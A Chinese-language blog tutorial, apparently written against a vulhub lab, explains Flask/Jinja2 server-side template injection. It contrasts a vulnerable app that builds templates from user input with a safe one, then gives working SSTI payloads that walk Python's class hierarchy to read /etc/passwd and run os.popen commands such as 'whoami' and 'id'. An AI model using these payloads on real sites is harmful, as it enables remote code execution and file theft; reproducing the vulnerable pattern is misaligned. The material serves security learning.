• Flask(Jinja2) 服务端模板注入漏洞(SSTI)


    flask

    Flask 是一个 web 框架。也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 wdb 应用程序可以使一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。
    Flask 属于微框架(micro-framework)这一类别,微架构通常是很小的不依赖于外部库的框架。这既有优点也有缺点,优点是框架很轻量,更新时依赖少,并且专注安全方面的 bug,缺点是,你不得不自己做更多的工作,或通过添加插件增加自己的依赖列表。Flask 的依赖如下:

    • Werkzeug 一个 WSGI 工具包
    • jinja2 模板引擎

    Flask简单易学,下面是Flask版的hello world(hello.py):

    from flask import Flask
    app = Flask(__name__)
    @app.route("/")
    def hello():    
        return "Hello World!"
     
    if __name__ == "__main__":
        app.run()
    

    安装flask即可运行了:

    $ pip install Flask
    
    $ python hello.py
    * Running on http://localhost:5000/
     
    *flask默认端口是5000
    

    Jinja 2

    • Jinja 2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的
    • Jinja2 是 Flask 框架的一部分。Jinja2 会把模板参数提供的相应的值替换了 {{…}} 块
    • Jinja2 模板同样支持控制语句,像在 {%…%} 块中
    {# This is jinja code
       # 控制结构
        {% for file in filenames %}
            # 取值
            {{ file }}
        {% endfor %}
    #}
    

    Demo

    from jinja2 import Template
    t=Template('{% for i in range(10) %}{{ i }}{% endfor %}')
    print t.render()
    

    漏洞原理

    先进入容器看一下web服务的代码

    from flask import Flask, request
    from jinja2 import Template
    
    app = Flask(__name__)
    
    @app.route("/")
    def index():
        name = request.args.get('name', 'guest')
    
        t = Template("Hello " + name)
        return t.render()
    
    if __name__ == "__main__":
        app.run()
    

    看到Template("Hello " +name),Template()完全可控,那么就可以直接写入jinja2的模板语言,如

    当然发送这种情况不能由jinja2背锅,这完全是开发人员的编码不当,若我修改如下

    from flask import Flask, request
    from jinja2 import Template
    
    app = Flask(__name__)
    
    @app.route("/safe")
    def safe():
        name = request.args.get('name', 'guest')
    
        t = Template("Hello {{n}}")
        return t.render(n=name)
    
    if __name__ == "__main__":
        app.run()
    

    就不存在模板注入

    Jinja2 的模板中执行 Python 代码

    在jinja2中是可以直接访问python的一些对象及其方法的,如
    字符串对象及其upper函数,列表对象及其count函数,字典对象及其has_key函数

    那么如何在 Jinja2 的模板中执行 Python 代码呢?如官方的说法是需要在模板环境中注册函数才能在模板中进行调用,例如想要在模板中直接调用内置模块os,即需要在模板环境中对其注册
    那么,如何在未注册OS模块的情况下在模板中调用popen()函数执行系统命令呢?前面已经说了,在 Jinja2 中模板能够访问 Python 中的内置变量并且可以调用对应变量类型下的方法,用到常见的 Python 沙盒环境逃逸方法

    利用 Python 特性

    • __bases__
      以元组返回一个类直接所继承的类
    • __mro__
      以元组返回继承关系链
    • __class__
      返回对象所属的类
    • __globals__
      以dict返回函数所在模块命名空间中的所有变量
    • __subclasses__()
      以列表返回类的子类
    • _builtin_
      内建函数,python中可以直接运行一些函数,例如int(),list()等等,这些函数可以在__builtins__中可以查到。查看的方法是dir(__builtins__)
      ps:在py3中__builtin__被换成了builtin
      __builtin__ 和 __builtins__之间是什么关系呢?
    1. 在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此。
    2. 非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身

    用file对象读取文件

    不能像字符串对象,列表对象那样直接引用('' []),那如何拿到file对象呢?就用上面给的属性和方法,如

    for c in {}.__class__.__base__.__subclasses__():
    	if(c.__name__=='file'):
    		print(c)
    		print c('test.txt').readlines()
    

    该代码从列表对象获取其类,再取基类(object),再取object的所有子类,从子类中寻找file类,如果找到就使用其构造方法创建对象后再用readlines读取文件内容

    用jinja2语法就是

    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__=='file' %}
    {{"find!"}}
    {{ c("/etc/passwd").readlines() }}
    {% endif %}
    {% endfor %}
    

    在本机测试没有问题,但是在这个doker容器里不知道为什么找不见file类

    emmm,经测试发现在python3中并没有file类,所以上述读取文件的方法只适用于python2

    那么就有必要找到python2/3通用的方法,就直接找eval,有了这个还有什么不能做

    寻找__builtins__得到eval

    for c in ().__class__.__bases__[0].__subclasses__():
        try:
            if '__builtins__' in c.__init__.__globals__.keys():
                print(c.name)
        except:
            pass
    

    找到了一个python2/3都有__builtins__的类 _IterationGuard

    于是python2/3通用的执行任意代码

    for c in ().__class__.__bases__[0].__subclasses__():
    	if c.__name__=='_IterationGuard':
    		c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
    

    用jinja的语法即为(执行命令使用os.popen('whoami').read()才有执行结果的回显)

    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__=='_IterationGuard' %}
    {{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
    {% endif %}
    {% endfor %}
    

    我本机上存在中文编码的问题,所以命令执行结果带中文的话会出错,所以就用echo l3yx展示下执行命令的效果

    直接从globals中寻找eval

    原理和上面大同小异,vulhub的文档中用的就是这种
    payload

    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
      {% for b in c.__init__.__globals__.values() %}
      {% if b.__class__ == {}.__class__ %}
        {% if 'eval' in b.keys() %}
          {{ b['eval']('__import__("os").popen("id").read()') }}
        {% endif %}
      {% endif %}
      {% endfor %}
    {% endif %}
    {% endfor %}
    

    参考:
    Server-Side Template Injection
    利用 Python 特性在 Jinja2 模板中执行任意代码
    用python继承链搞事情 (膜 Orz)

  • 相关阅读:
    TUN/TAP区别
    从日志文件解决ArcGIS Server性能低下问题的步骤(1)
    java异常
    Maven
    前车之鉴-web篇
    图论复习总结
    奇(qi)谋(ji)巧(yin)计(qiao)
    莫比乌斯反演呓语
    学习后缀数组笔记
    浅读叶青学长竞赛学习知识目录
  • 原文地址:https://www.cnblogs.com/leixiao-/p/10227867.html
Copyright © 2020-2023  润新知